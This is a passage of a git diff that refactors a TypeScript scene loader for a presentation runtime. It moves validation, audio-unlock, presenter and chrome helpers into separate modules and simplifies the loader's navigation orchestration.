ADR-021: combine the per-navigation seed from - * {@link deriveNavigationSeed} with one scene occurrence's identity - * ({@link SceneActivation}) so every occurrence gets its OWN seeded - * generator. A composition slice that repeats a scene id (issue #99) - * therefore hands each occurrence an independent random stream — one - * occurrence's draws cannot perturb a sibling's draw order, the - * RNG-scoping the ADR-021 guardrail requires. Pure function, hoisted - * to module scope. - */ -function deriveActivationSeed(navigationSeed: string, activation: SceneActivation): string { - return `${navigationSeed}|occ:${activation.sceneId}#${activation.entryIndex}.${activation.occurrence}`; -} +// PUL-F018 / ADR-021: the per-navigation deterministic RNG seed seam +// lives in `./scene-loader-ctx` alongside the audio/ctx construction it +// feeds; re-exported here so the unit-test seam stays addressable on +// the loader's public surface. +export { deriveNavigationSeed }; /** * One in-flight load: the abort signal that cancels it, the promise @@ -777,21 +583,6 @@ type NavigationEvent = | { readonly kind: 'target'; readonly target: NavigationTarget } | { readonly kind: 'error'; readonly err: unknown }; -/** - * PUL-F030 / ADR-029: the internal gate-prelude callback `buildLoad` - * invokes BEFORE the resolver lifecycle. Distinct from the public - * {@link AudioUnlockAdapter}: the public adapter receives a semantic - * composition context (composition id, scene ids, signal, unlock); - * this internal helper is what `buildLoad` actually awaits, with the - * composition context already partially-applied by `buildUnlockGate`. - * The adapter is workbench-supplied; the helper is the loader's - * internal closure over it. - */ -type UnlockGate = (env: { - readonly signal: AbortSignal; - readonly unlock: () => Promise; -}) => Promise; - export function createSceneLoader(options: SceneLoaderOptions): SceneLoader { const { stage } = options; const onError = options.onError ?? ((err) => console.error(err)); @@ -951,57 +742,11 @@ export function createSceneLoader(options: SceneLoaderOptions): SceneLoader { setStageAttr(ATTR_ERROR, rendered); }; - /** - * Defense-in-depth for ADR-013's `beat` grammar rules. - * `parseNavigationSearch` enforces both on URL input, but - * `NavigationTarget` is an exported type that non-parser callers - * (event-detail unmarshaling, future test harnesses, programmatic - * navigation) can construct directly. Re-checking at the loader - * boundary stops a hand-built target with an invalid `beat` - * (wrong shape, or paired with a non-scene-like locator) from - * reaching the runner with a value the parser would have - * rejected. Returns an `Error` with the parser's exact grammar - * message when the target is invalid, or `null` when no further - * check is needed. - */ - const validateBeatGrammar = (target: NavigationTarget): Error | null => { - if (target.beat === undefined) return null; - if (!isKebabIdentifier(target.beat)) { - return new Error( - `navigation grammar is invalid: "beat" must be a non-empty lowercase kebab-case string (${KEBAB_IDENTIFIER_FORM})`, - ); - } - const k = target.locator.kind; - if (k !== 'scene' && k !== 'composition-scene' && k !== 'composition-index') { - return new Error( - 'navigation grammar is invalid: "beat" requires a scene-like target ("scene", "composition" + "scene", or "composition" + "index")', - ); - } - return null; - }; - - /** - * Defense-in-depth for ADR-007's mode allowlist (PUL-F012). - * `parseNavigationSearch` validates `mode` against - * `NAVIGATION_MODES` on URL input, but `NavigationTarget` is an - * exported type that non-parser callers (event-detail unmarshaling, - * future test harnesses, programmatic navigation) can construct - * directly. Re-checking at the loader boundary stops a hand-built - * target with a mode the parser would have rejected from reaching - * `effectiveMode` and `buildCtx`, where it would propagate to - * scenes as `ctx.mode`. Returns an `Error` with the parser's exact - * grammar message when the target is invalid, or `null` when no - * further check is needed. - */ - const validateModeGrammar = (target: NavigationTarget): Error | null => { - if (target.mode === undefined) return null; - if (!(NAVIGATION_MODES as readonly string[]).includes(target.mode)) { - return new Error( - `navigation grammar is invalid: "mode" unknown mode "${target.mode}" — allowed: ${NAVIGATION_MODES.join(', ')}`, - ); - } - return null; - }; + // ADR-013 `beat` + ADR-007 `mode` defense-in-depth re-checks now live + // in `./navigation` (`validateBeatGrammar` / `validateModeGrammar`), + // consuming the shared `NAVIGATION_GRAMMAR` rule source so the loader's + // trust-seam diagnostics stay byte-identical to the parser's without + // re-declaring the rules here. /** * PUL-F011 / ADR-015: build the non-fatal callback the loader @@ -1067,427 +812,189 @@ export function createSceneLoader(options: SceneLoaderOptions): SceneLoader { }; }; - /** - * Construct the per-navigation presenter pipeline: - * - `presenterAbort` — a separate `AbortController` whose signal - * drives the `PresenterController`'s teardown. Distinct from - * the navigation `controller` so the navigation signal can - * stay un-aborted across a successful completion (PUL-F013 - * boundary). Wired to fire on navigation abort AND aborted by - * `runTarget`'s `finally` on normal completion. - * - `presenter` — the `PresenterController` itself (PUL-F020 / - * ADR-023), with the PUL-F025 audio handler attached. - * - * Both are `null` / `undefined` when the loader does NOT build a - * controller for this navigation: non-present mode OR the workbench - * did not supply a `presenterCommands` source. Hoisted out of - * `buildLoad` to keep that function within Sonar's - * cognitive-complexity budget. - * - * The PUL-F025 audio handler (presenter master mute / ADR-004) - * lives here — the only seam where both the controller and the - * per-navigation `AudioService` are in scope. On - * `'toggle-master-mute'` it reads the engine's current master - * mute and flips it via the audio boundary; `audio.mute()` - * validates the boolean (PUL-F024) and is inert post-dispose. - * Master mute is engine-level runtime state so the flip survives - * scene cleanup and is observable by sibling services backed by - * the same engine (pinned in `audio.test.ts`). The handler is - * additive — the runner still receives every kind on its own - * `input.presenter.subscribe(...)`. The controller's per-handler - * `try/catch` already routes any throw through the same `onError`. - */ - const buildPresenterPipe = ( - mode: NavigationMode, - controller: AbortController, - audio: AudioService, - ): { - readonly presenter: ReturnType | undefined; - readonly presenterAbort: AbortController | null; - } => { - if (mode !== 'present' || options.presenterCommands === undefined) { - return { presenter: undefined, presenterAbort: null }; - } - const presenterAbort = new AbortController(); - // Propagate navigation abort → presenter abort. Without this - // wiring, supersession-time `controller.abort()` would not tear - // down the presenter controller (bound to `presenterAbort.signal`, - // not `controller.signal`). - if (controller.signal.aborted) { - presenterAbort.abort(); - } else { - controller.signal.addEventListener('abort', () => presenterAbort.abort(), { once: true }); - } - const presenter = createPresenterController( - options.presenterCommands, - presenterAbort.signal, - onError, - ); - // PUL-F025 / ADR-004 audio handler — see method header. - presenter.subscribe((cmd) => { - if (cmd.kind !== 'toggle-master-mute') return; - audio.mute(!audio.isMuted()); - }); - return { presenter, presenterAbort }; + // The per-navigation audio service + presenter pipe + ctx factory live + // in `./scene-loader-ctx` (`buildNavigationServices`); the present-mode + // unlock-gate predicate (`resolveUnlockGate`) and the composition chrome + // dispatch policy (`applyChromeForTarget`) live in `./scene-loader-guard`. + // The loader binds its instance deps once and calls them. + const navigationServicesDeps = { + audioEngine, + ...(options.assetPolicy === undefined ? {} : { assetPolicy: options.assetPolicy }), + ...(options.onAudioCue === undefined ? {} : { onAudioCue: options.onAudioCue }), + ...(options.presenterCommands === undefined + ? {} + : { presenterCommands: options.presenterCommands }), + onError, + buildCtx: options.buildCtx, }; /** - * Build the in-flight load record: an `AbortController`, the - * preloader factory's per-load preloader (a synchronous failure - * is rolled back through `resetStageAttrs()` + `surfaceError`), - * and the bridge call that drives the lifecycle. Returns the - * record, or `null` when the preloader factory threw — in which - * case the caller has already been told via `surfaceError` and - * should bail. Hoisted out of `runTarget` so the latter stays - * within Sonar's cognitive-complexity budget. - */ - /** - * PUL-F030 / ADR-029: build the per-navigation closure that calls - * the workbench-supplied unlock adapter with the composition context - * captured here and the navigation-bound signal + engine-bound - * unlock callback supplied at gate-invocation time by `buildLoad`. - * Partial application keeps the composition context out of the - * `buildLoad` body so the latter stays within Sonar's cognitive- - * complexity budget. - * - * Pure factory — captures only `adapter` and `composition`. The - * adapter receives bounded semantic context: composition id, scene - * ids in playback order, the navigation `AbortSignal`, and the - * engine-bound `unlock()` callback. It does NOT receive scene - * objects, source URLs, asset payloads, or Howler handles (per - * ADR-029's "workbench gesture surface" guardrail). + * Composition-level chrome policy (PUL-F031 / ADR-031), bound to this + * loader's chrome adapter + registries. No-op when no chrome adapter + * was supplied. See `applyChromeForTarget` in `./scene-loader-guard`. */ - const buildUnlockGate = ( - adapter: AudioUnlockAdapter, - composition: SceneNavigationTarget['composition'] & object, - ): UnlockGate => { - const compositionId = composition.id; - const sceneIds = Object.freeze(composition.sceneSlice.map((scene) => scene.id)); - return ({ signal, unlock }) => - adapter({ - compositionId, - sceneIds, - signal, - unlock, - }); + const dispatchChromeForTarget = (target: NavigationTarget): void => { + const chrome = options.chrome; + if (chrome === undefined) return; + applyChromeForTarget( + chrome, + { scenes: options.scenes, compositions: options.compositions }, + target, + ); }; /** - * PUL-F030 / ADR-029: decide whether the present-mode audio unlock - * gate applies to this navigation, and if so build the gate. Returns - * one of: - * - * - `null` — the gate does not apply (mode is not present, no - * composition slice, or no scene in the slice declares audio). - * The lifecycle runs without a prelude. - * - `'fail-loud'` — the gate applies but no `audioUnlockAdapter` - * is supplied. The caller surfaces a navigation-level error and - * skips the lifecycle. - * - `UnlockGate` — a closure that invokes the workbench adapter - * with the composition context. The lifecycle awaits it before - * preload / `create(ctx)` / `timeline(ctx)` / master playback. - * - * Hoisted out of `runTarget` so the latter stays within Sonar's - * cognitive-complexity budget (S3776). + * Build the resolver run-input for one navigation. Threads the + * per-occurrence ctx factory, preloader, beat + missing-beat callback, + * the mode-profile runner hints (repeat / hold / cueGate / screenshot), + * the shared scrub cue gate, the presenter controller + its error + * sink, the occurrence-safe per-scene audio teardown, and the + * scene-level failure isolation (PUL-F029) — see the individual + * option docs on {@link loadSceneNavigationTarget}. */ - const resolveUnlockGate = ( - target: NavigationTarget, + const buildRunInput = ( resolved: SceneNavigationTarget, - ): UnlockGate | 'fail-loud' | null => { - if (effectiveMode(target) !== 'present') return null; - const composition = resolved.composition; - if (composition === undefined) return null; - if (!composition.sceneSlice.some(sceneDeclaresAudio)) return null; - if (options.audioUnlockAdapter === undefined) return 'fail-loud'; - return buildUnlockGate(options.audioUnlockAdapter, composition); - }; - - const chromeBehaviorFromResolved = (resolved: SceneNavigationTarget | null): unknown => { - const head = resolved?.composition?.manifestSlice[0]; - if (head === null || typeof head !== 'object') return undefined; - return (head as { readonly behavior?: { readonly chrome?: unknown } }).behavior?.chrome; - }; - - const chromeBehaviorForTarget = (target: NavigationTarget): unknown => { - try { - return chromeBehaviorFromResolved( - resolveSceneNavigation(target, { - scenes: options.scenes, - compositions: options.compositions, - }), - ); - } catch { - return undefined; - } - }; - - const applyChromeDispatchPolicy = ( - chrome: WorkbenchChromeAdapter, + services: ReturnType, + preloadAssets: AssetPreloader, + signal: AbortSignal, mode: NavigationMode, - chromeBehavior: unknown, - ): void => { - const forcedVisibility = chromeBehavior === 'hidden' ? 'hidden' : null; - const atmosphere = - typeof chromeBehavior === 'object' && - chromeBehavior !== null && - (chromeBehavior as { readonly atmosphere?: unknown }).atmosphere === 'cinematic' - ? 'cinematic' - : null; - chrome.setForcedVisibility?.(forcedVisibility); - chrome.setAtmosphere?.(atmosphere); - chrome.applyMode(mode); - }; - - /** - * Composition-level chrome policy: the head manifest entry's - * `behavior.chrome` can hide chrome or opt into cinematic atmosphere. - * The default is explicit reset (`forcedVisibility=null`, - * `atmosphere=null`) so a navigation away from an atmospheric deck - * clears that state immediately, before serialized scene cleanup. - */ - const applyChromeForTarget = (target: NavigationTarget): void => { - const chrome = options.chrome; - if (chrome === undefined) return; - applyChromeDispatchPolicy(chrome, effectiveMode(target), chromeBehaviorForTarget(target)); + beat: string | undefined, + audioCueGate: CueGateControl | undefined, + ): Parameters[1] => { + const onBeatMissing = buildOnBeatMissing(beat, resolved.scene.id, signal); + const onSceneFailed = buildOnSceneFailed( + signal, + mode, + resolved.composition === undefined + ? undefined + : { id: resolved.composition.id, startIndex: resolved.composition.startIndex }, + ); + // issue #99: occurrence-safe per-scene audio teardown — the + // scene-scoped group is stopped only when the LAST occurrence of + // that id has been cleaned up. + const remainingOccurrences = countSceneOccurrences(resolved); + const onSceneCleaned = (activation: SceneActivation): void => { + const left = (remainingOccurrences.get(activation.sceneId) ?? 1) - 1; + remainingOccurrences.set(activation.sceneId, left); + if (left <= 0) services.audio.stopGroup(activation.sceneId); + }; + return { + ctx: services.buildSceneCtx, + preloadAssets, + timeline: options.timeline, + signal, + ...(beat === undefined ? {} : { beat }), + ...(onBeatMissing === undefined ? {} : { onBeatMissing }), + // Head-scene runner hints from the mode profile; empty for modes + // that set none. + ...profileFor(mode).runnerHints, + ...(audioCueGate === undefined ? {} : { audioCueGate }), + ...(services.presenter === undefined + ? {} + : { presenter: services.presenter, onPresenterError: onError }), + onSceneCleaned, + onSceneFailed, + }; }; const buildLoad = ( resolved: SceneNavigationTarget, target: NavigationTarget, unlockGate: UnlockGate | null, - // biome-ignore lint/complexity/noExcessiveCognitiveComplexity: existing pre-rule offender (cognitive complexity 18). buildLoad is the navigation-mode dispatch seam — derives effective mode, builds audio + presenter pipes, and threads abort signals; refactor tracked in docs/design/complexity-backlog.md. ): InFlightLoad | null => { const controller = new AbortController(); // PUL-F012 / ADR-007: mode dispatch lives at the runtime-core seam. - // The loader derives the effective mode from the parsed target via - // `effectiveMode` (URL-only — no localStorage, sessionStorage, - // cookies, history.state, or cached state); every navigation - // re-derives from its own target, so a previous non-`present` mode - // cannot leak into a subsequent `mode`-less URL. The mode also - // selects whether the audio service is `silent` (screenshot / - // paused suppress audible playback — ADR-019 / ADR-021). + // `effectiveMode` re-derives mode from the parsed target (URL-only — + // no storage / cookies / history.state / cached state) on every + // navigation, so a previous non-`present` mode cannot leak. const mode = effectiveMode(target); - // Mode is data: the profile decides audio policy, slice truncation, - // bed suppression, the scrub cue gate, and the head-scene runner - // hints. See ./mode-profile.ts. const profile = profileFor(mode); - // PUL-F018 / ADR-021: the per-navigation deterministic RNG seed, - // derived from the addressed URL target. Computed once here and - // combined per occurrence in `buildSceneCtx` so every scene - // occurrence gets its own seeded `ctx.rng`. - const navigationSeed = deriveNavigationSeed(target); let preloadAssets: AssetPreloader; try { preloadAssets = options.createPreloader(controller.signal); } catch (err) { - // Roll back the success-state attrs we just wrote and surface - // the error so the stage doesn't lie about a half-loaded scene. - // `resetStageAttrs()` clears all three navigation attrs in - // lock-step with the success-path reset, so this rollback - // cannot drift if a fourth navigation attr is added later. + // Roll back the success-state attrs and surface the error so the + // stage doesn't lie about a half-loaded scene. resetStageAttrs(); surfaceError(err); return null; } - // PUL-F024 / PUL-F026 / ADR-004: the per-navigation audio service. - // Built over `audioEngine`, scoped to `controller.signal` (abort ⇒ - // every sound stopped + unloaded), restricted to the URLs the slice - // declared in `scene.audio` (PUL-F030 / ADR-029 — every audio entry - // must also be in `scene.assets` so the preloader warmed it), and - // with a per-mode `AudioOutputPolicy`: - // - `'silent'` under `mode=screenshot` / `mode=paused` (audible - // playback suppressed — ADR-019 / ADR-021). - // - `'log-cues'` under `mode=rehearsal` (audible playback - // suppressed AND every accepted audio operation - // is emitted to the workbench's optional - // `onAudioCue` sink — PUL-F026 / ADR-004). - // - `'audible'` otherwise (`present` / `standalone` / `loop` / - // `scrub`). - // - // The rehearsal policy lives entirely on this audio-service seam - // — there is no head-only runner-input hint, no slice truncation, - // no resolver semantics — so "without altering timeline state" - // (PUL-F026) is the structural invariant. The optional - // `onAudioCue` sink is threaded through unconditionally; the - // policy decides whether cues are emitted, so a non-rehearsal - // navigation pays no per-op cost even when the workbench wired a - // cue surface. - // - // Threaded into `ctx.audio` via `buildCtx`, alongside `mode` - // (PUL-F012). Built AFTER the preloader so a preloader-factory - // failure does not waste allocations, and wrapped in the same - // rollback-then-surfaceError pattern so a throwing builder does - // not leave stale stage attrs or skip the queue's error sink. - const outputPolicy = audioOutputPolicyFor(mode); - // PUL-F017 / ADR-020: under `mode=scrub` build the dynamic audio - // cue gate ONCE and share the single instance between the audio - // service (which consults `isEligible()` to suppress a cue's - // output) and the timeline adapter (which toggles it by playhead - // direction). It starts closed — a scrub master is held at its - // cursor, not playing monotonically forward — and the GSAP adapter - // opens it on `play()`. Absent for every other mode, so non-scrub - // navigations build an ungated audio service exactly as before. + // PUL-F017 / ADR-020: under `mode=scrub` build the dynamic audio cue + // gate ONCE and share it between the audio service (consults + // `isEligible()`) and the timeline adapter (toggles by playhead + // direction). Starts closed; the GSAP adapter opens it on `play()`. const audioCueGate: CueGateControl | undefined = profile.buildScrubCueGate ? createCueGate(false) : undefined; - // issue #99: the loader threads a per-occurrence ctx factory rather - // than a single ctx. `buildCtx` builds the navigation-scoped base - // (stage / gsap / audio / mode / presenter / chrome) once; the - // factory adds each occurrence's `SceneActivation` so a slice that - // repeats a scene id gives every occurrence a distinct `ctx`. - let buildSceneCtx: (activation: SceneActivation) => unknown; - let audio: AudioService; - // Per-navigation presenter pipe is built BEFORE buildCtx so the - // controller can be threaded onto `ctx.presenter` for scenes that - // subscribe to presenter `advance` commands directly (calgary-style - // `while (!state.advanceSignal)` loop scenes). Declared here so the - // try/catch can construct audio first (the pipe's mute handler - // closes over audio), then ctx with both refs. - let presenter: ReturnType | undefined; - let presenterAbort: AbortController | null = null; + // PUL-F024 / PUL-F025 / PUL-F018: the per-navigation audio service, + // presenter pipe, and per-occurrence ctx factory. Built AFTER the + // preloader so a preloader-factory failure wastes no allocations, + // and wrapped in the same rollback-then-surfaceError pattern so a + // throwing builder leaves no stale stage attrs and skips no error + // sink. On throw the controller is aborted first so any signal-tied + // resource (preloader fetch listener, audio stop-on-abort hook) + // observes cancellation rather than being GC'd un-aborted. + let services: ReturnType; try { - audio = createAudioService(audioEngine, { - signal: controller.signal, - outputPolicy, - allowedSources: collectAudioSources(resolved), - ...(options.assetPolicy === undefined ? {} : { assetPolicy: options.assetPolicy }), - onError, - ...(options.onAudioCue === undefined ? {} : { onCue: options.onAudioCue }), - // PUL-F014 / ADR-004: the composition audio bed, played - // underneath the slice — suppressed under `mode=standalone`, - // where the scene runs as if no surrounding composition - // existed. The resolver snapshots the declaration onto the - // composition context; the loader is the mode-dispatch point - // that decides bed vs no-bed, keeping the resolver mode-opaque. - ...(resolved.composition?.audioBed === undefined - ? {} - : { bed: resolved.composition.audioBed }), - bedSuppressed: profile.suppressBed, - // PUL-F017 / ADR-020: the shared cue gate (scrub only). The - // audio service consults it; the timeline adapter toggles it. - ...(audioCueGate === undefined ? {} : { cueGate: audioCueGate }), - }); - const pipe = buildPresenterPipe(mode, controller, audio); - presenter = pipe.presenter; - presenterAbort = pipe.presenterAbort; - const baseCtx = options.buildCtx(mode, audio, presenter); - // PUL-F018 / ADR-021: the loader adds each occurrence's - // `activation` AND a deterministic `rng` seeded from the - // navigation seed + that occurrence's identity, so a slice that - // repeats a scene id gives every occurrence an independent - // random stream. - buildSceneCtx = (activation) => ({ - ...baseCtx, - activation, - rng: createSeededRng(deriveActivationSeed(navigationSeed, activation)), - }); + services = buildNavigationServices( + navigationServicesDeps, + resolved, + target, + mode, + controller, + audioCueGate, + ); } catch (err) { - // Abort the freshly-created controller before bailing so any - // signal-tied resource (the preloader factory's fetch listener, - // the audio service's stop-on-abort hook) observes cancellation - // and releases. Without this, the signal is GC'd in the - // never-aborted state and any abort-keyed listener runs at GC - // time (or never). controller.abort(); resetStageAttrs(); surfaceError(err); return null; } - const beat = target.beat; - const onBeatMissing = buildOnBeatMissing(beat, resolved.scene.id, controller.signal); - // Head-scene runner-input hints (repeat / hold / cueGate / - // screenshot) per the mode profile. The resolver scopes each hint - // to the addressed head scene only; following composition entries - // never see them. The modes that set them are mutually exclusive - // at the URL boundary, so at most one field is present. See - // ./mode-profile.ts for the per-mode table and PUL-F015..F018 / - // ADR-018..021 for the semantics. - const runnerHints = profile.runnerHints; - // `presenter` / `presenterAbort` already built above (before - // buildCtx) so the controller could be threaded onto `ctx.presenter`. - const onSceneFailed = buildOnSceneFailed( + const runInput = buildRunInput( + resolved, + services, + preloadAssets, controller.signal, mode, - resolved.composition === undefined - ? undefined - : { id: resolved.composition.id, startIndex: resolved.composition.startIndex }, + target.beat, + audioCueGate, ); - // PUL-F024 / ADR-004 + issue #99: occurrence-safe per-scene audio - // teardown. A scene scopes a sound to itself with - // `play(id, { group: })`; that group is shared by - // every occurrence of the scene in the slice (`ctx.audio` is one - // slice-scoped service). The runtime stops the group only when the - // LAST occurrence of that id has been cleaned up — counting down - // per scene id — so an earlier occurrence's cleanup never stops a - // still-active sibling occurrence's audio. A single-occurrence - // scene counts `1` and tears down on its only cleanup, unchanged. - const remainingOccurrences = countSceneOccurrences(resolved); - const onSceneCleaned = (activation: SceneActivation): void => { - const left = (remainingOccurrences.get(activation.sceneId) ?? 1) - 1; - remainingOccurrences.set(activation.sceneId, left); - if (left <= 0) audio.stopGroup(activation.sceneId); - }; - const runLifecycle = (): Promise => - loadSceneNavigationTarget(resolved, { - ctx: buildSceneCtx, - preloadAssets, - timeline: options.timeline, - signal: controller.signal, - ...(beat === undefined ? {} : { beat }), - ...(onBeatMissing === undefined ? {} : { onBeatMissing }), - // Head-scene runner hints (repeat / hold / cueGate / screenshot) - // from the mode profile; an empty object for modes that set none. - ...runnerHints, - // PUL-F017 / ADR-020: the same gate handed to the audio service - // above — the timeline adapter toggles it by playhead direction. - ...(audioCueGate === undefined ? {} : { audioCueGate }), - // Forward `presenter` AND the `onError` sink so the - // resolver's per-scene wrapper around `presenter` can - // route runner-handler exceptions / unknown-kind drops - // through the same diagnostic channel as every other - // navigation-level error (codex review, cycle 2). - ...(presenter === undefined ? {} : { presenter, onPresenterError: onError }), - // PUL-F024 / ADR-004 + issue #99: runtime-guaranteed per-scene - // audio teardown — see `onSceneCleaned` above. (`stopGroup` is - // a no-op when the group is empty or the service is disposed.) - onSceneCleaned, - // PUL-F029 / ADR-028: scene-level error isolation. Each - // isolated `create` / `timeline` / `cleanup` failure becomes - // a stage attribute entry + `onError` call without halting - // the active composition. - onSceneFailed, - }); + const runLifecycle = (): Promise => loadSceneNavigationTarget(resolved, runInput); // PUL-F030 / ADR-029: when the gate applies, the settled promise // begins with the adapter await — the lifecycle runs only after - // unlock succeeds AND the navigation has not been aborted. The - // gate's signal IS the navigation signal, so supersession / - // dispose / popstate aborts the gate; adapters that respect the - // signal can reject deterministically. The audio service / ctx / - // preloader are constructed BEFORE the gate (above), but none of - // them touches the network or DOM until `loadSceneNavigationTarget` - // calls `preloadAssets(scene)` and `create(ctx)` — so the gate - // running first preserves the structural invariant "no lifecycle - // work before unlock." + // unlock succeeds AND the navigation has not been aborted. The gate's + // signal IS the navigation signal. None of the services constructed + // above touch the network or DOM until `loadSceneNavigationTarget` + // calls `preloadAssets(scene)` / `create(ctx)`, so running the gate + // first preserves the "no lifecycle work before unlock" invariant. const settled = unlockGate === null ? runLifecycle() - : (async (): Promise => { - await unlockGate({ - signal: controller.signal, - unlock: () => audioEngine.unlock(), - }); - if (controller.signal.aborted) return; - return runLifecycle(); - })(); + : runGatedLifecycle(unlockGate, controller, runLifecycle); return { controller, settled, silent: false, - audio, - presenterAbort, + audio: services.audio, + presenterAbort: services.presenterAbort, }; }; + /** + * PUL-F030 / ADR-029: await the unlock gate, then run the lifecycle + * only if the navigation has not been superseded. Extracted so + * `buildLoad` stays within the cognitive-complexity budget. + */ + const runGatedLifecycle = async ( + unlockGate: UnlockGate, + controller: AbortController, + runLifecycle: () => Promise, + ): Promise => { + await unlockGate({ signal: controller.signal, unlock: () => audioEngine.unlock() }); + if (controller.signal.aborted) return; + return runLifecycle(); + }; + /** * Truncate the validated composition slice to its addressed head * entry under modes that mean "run only the addressed scene." @@ -1664,16 +1171,70 @@ export function createSceneLoader(options: SceneLoaderOptions): SceneLoader { }; }; - // biome-ignore lint/complexity/noExcessiveCognitiveComplexity: existing pre-rule offender (cognitive complexity 23). runTarget is the per-navigation orchestrator — beat/mode grammar validation, dispatch routing across prompter / screenshot / present, and abort handling; refactor tracked in docs/design/complexity-backlog.md. - const runTarget = async (target: NavigationTarget): Promise => { - const beatErr = validateBeatGrammar(target); - if (beatErr !== null) { - surfaceError(beatErr); - return; + /** + * Dispatch the resolved target to a non-prompter load: truncate the + * slice for single-scene modes (PUL-F014..F018), resolve the + * present-mode audio unlock gate (PUL-F030), and build the load. + * Returns `null` when the gate fails loud (no adapter supplied — a + * workbench-bootstrap defect, surfaced after stage-attr reset) or the + * load builder bailed. `mode=prompter` is dispatched by the caller + * (it bypasses the resolver lifecycle structurally). + */ + const dispatchLifecycleLoad = ( + resolved: SceneNavigationTarget, + target: NavigationTarget, + ): InFlightLoad | null => { + const runnable = applySingleSceneSlice(resolved, target); + const gateOrFailure = resolveUnlockGate(options.audioUnlockAdapter, target, resolved); + if (gateOrFailure === 'fail-loud') { + resetStageAttrs(); + surfaceError( + new Error( + 'audio unlock gate: present-mode composition declares audio but no audioUnlockAdapter was supplied — workbench bootstrap must wire one to satisfy PUL-F030 / ADR-029', + ), + ); + return null; + } + return buildLoad(runnable, target, gateOrFailure); + }; + + /** + * Await the in-flight load to settle, then run the per-navigation + * teardown exactly once. Suppresses only the resolver's own "aborted" + * wrapper (the superseding event owns the visible state); every other + * error — including multi-fault `AggregateError`s — still surfaces. + */ + const awaitLoad = async (load: InFlightLoad): Promise => { + try { + await load.settled; + } catch (err) { + if (!load.silent && !isPureAbort(err, load.controller.signal)) { + surfaceError(err); + } + } finally { + // PUL-F024 / ADR-004: the navigation is over — stop + unload every + // sound it created (idempotent; harmless on the abort paths where + // the signal binding already disposed the service). + load.audio?.stopAll(); + // PUL-F025 / ADR-023: tear down the presenter controller's + // subscriptions on the happy path. The controller is bound to a + // SEPARATE `presenterAbort` signal (not the navigation signal) so + // the navigation signal's "un-aborted on success" invariant + // (PUL-F013) is preserved; that separate signal still fires on + // navigation abort. Idempotent. + load.presenterAbort?.abort(); + if (inFlight === load) inFlight = null; } - const modeErr = validateModeGrammar(target); - if (modeErr !== null) { - surfaceError(modeErr); + }; + + const runTarget = async (target: NavigationTarget): Promise => { + // Defense-in-depth grammar re-check (ADR-013 beat / ADR-007 mode) + // for programmatically-built targets — the parser already enforces + // these on URL input. Both validators share the `NAVIGATION_GRAMMAR` + // rule source in `./navigation`. + const grammarErr = validateBeatGrammar(target) ?? validateModeGrammar(target); + if (grammarErr !== null) { + surfaceError(grammarErr); return; } @@ -1696,76 +1257,17 @@ export function createSceneLoader(options: SceneLoaderOptions): SceneLoader { } // PUL-F019 / ADR-022: under `mode=prompter` bypass the resolver - // lifecycle entirely. Visual rendering is suppressed structurally - // by NOT running the path that would mount scenes. The captions - // data path takes its place. No `applySingleSceneSlice` (the - // captions view consumes the FULL slice — see ADR-022 for why - // the truncation defense from F015–F018 does not apply here), - // no `buildLoad` (no preloader, no buildCtx, no runner), just a - // captions-renderer dispatch wrapped in the same abort/queue - // pattern so cleanup-before-handoff and supersession still work. - let load: InFlightLoad | null; - if (effectiveMode(target) === 'prompter') { - load = buildPrompterLoad(resolved); - } else { - const runnable = applySingleSceneSlice(resolved, target); - // PUL-F030 / ADR-029: resolve the present-mode audio unlock - // gate up front. The helper returns `'fail-loud'` when the gate - // applies but no adapter is supplied (workbench-bootstrap - // defect — the gate IS the structural defense), `null` when - // the gate does not apply or there is no composition, and a - // built unlock gate otherwise. - const gateOrFailure = resolveUnlockGate(target, resolved); - if (gateOrFailure === 'fail-loud') { - resetStageAttrs(); - surfaceError( - new Error( - 'audio unlock gate: present-mode composition declares audio but no audioUnlockAdapter was supplied — workbench bootstrap must wire one to satisfy PUL-F030 / ADR-029', - ), - ); - return; - } - load = buildLoad(runnable, target, gateOrFailure); - } + // lifecycle entirely (no `applySingleSceneSlice`, no `buildLoad`) — + // visual rendering is suppressed structurally by NOT running the + // path that would mount scenes. The captions data path takes its + // place, wrapped in the same abort/queue pattern. + const load = + effectiveMode(target) === 'prompter' + ? buildPrompterLoad(resolved) + : dispatchLifecycleLoad(resolved, target); if (load === null) return; inFlight = load; - - try { - await load.settled; - } catch (err) { - // Suppress only the resolver's own "aborted" wrapper error — - // the new event that triggered the abort owns the visible - // state. AggregateErrors (multi-fault: phase + cleanup) and - // any non-abort errors still surface so cleanup failures - // during an aborted lifecycle are not silently dropped. - if (!load.silent && !isPureAbort(err, load.controller.signal)) { - surfaceError(err); - } - } finally { - // PUL-F024 / ADR-004: the navigation is over — stop + unload - // every sound it created. On supersession / dispose the signal - // binding already disposed the service, so this is the - // happy-path-completion path (the resolver ran every scene's - // `cleanup(ctx)`, then `load.settled` resolved); `stopAll()` is - // idempotent so the double-call on the abort paths is harmless. - load.audio?.stopAll(); - // PUL-F025 / ADR-023 (codex review, post-PUL-F025): tear down - // the presenter controller's subscriptions on the happy path - // too. The presenter controller is built against a *separate* - // `presenterAbort` signal in `buildLoad` (NOT the navigation - // signal) so the navigation signal's "un-aborted on success" - // invariant — pinned by the PUL-F013 boundary tests — is - // preserved. The separate signal still fires on navigation - // abort (wired in `buildLoad`), and we abort it here so the - // long-lived `PresenterCommandSource` does not accumulate - // stale wrappers across successful present-mode completions - // (the loader's PUL-F025 mute handler, plus any runner-owned - // subscription that forgot to unsubscribe at scene-exit). - // Idempotent: a subsequent supersession-time abort of the - // same `presenterAbort` is a no-op. - load.presenterAbort?.abort(); - if (inFlight === load) inFlight = null; - } + await awaitLoad(load); }; /** @@ -1797,7 +1299,7 @@ export function createSceneLoader(options: SceneLoaderOptions): SceneLoader { if (options.chrome === undefined) return null; if (validateModeGrammar(target) !== null) return null; try { - applyChromeForTarget(target); + dispatchChromeForTarget(target); return null; } catch (err) { return err instanceof Error ? err : new Error(String(err)); diff --git a/tests/runtime/policy-biome-complexity-gate.test.ts b/tests/runtime/policy-biome-complexity-gate.test.ts index 9175fa5..beb8ff4 100644 --- a/tests/runtime/policy-biome-complexity-gate.test.ts +++ b/tests/runtime/policy-biome-complexity-gate.test.ts @@ -47,7 +47,6 @@ const SUPPRESSION_PREFIX = '// biome-ignore lint/complexity/noExcessiveCognitive const EXPECTED_RUNTIME_FILES_WITH_SUPPRESSIONS = [ 'src/runtime/asset-preloader.ts', 'src/runtime/audio.ts', - 'src/runtime/scene-loader.ts', ] as const; const EXPECTED_TEST_FILES_WITH_SUPPRESSIONS = [ From 9a26f110defecfc20548ebe486cc1b49b9a19a75 Mon Sep 17 00:00:00 2001 From: Brad 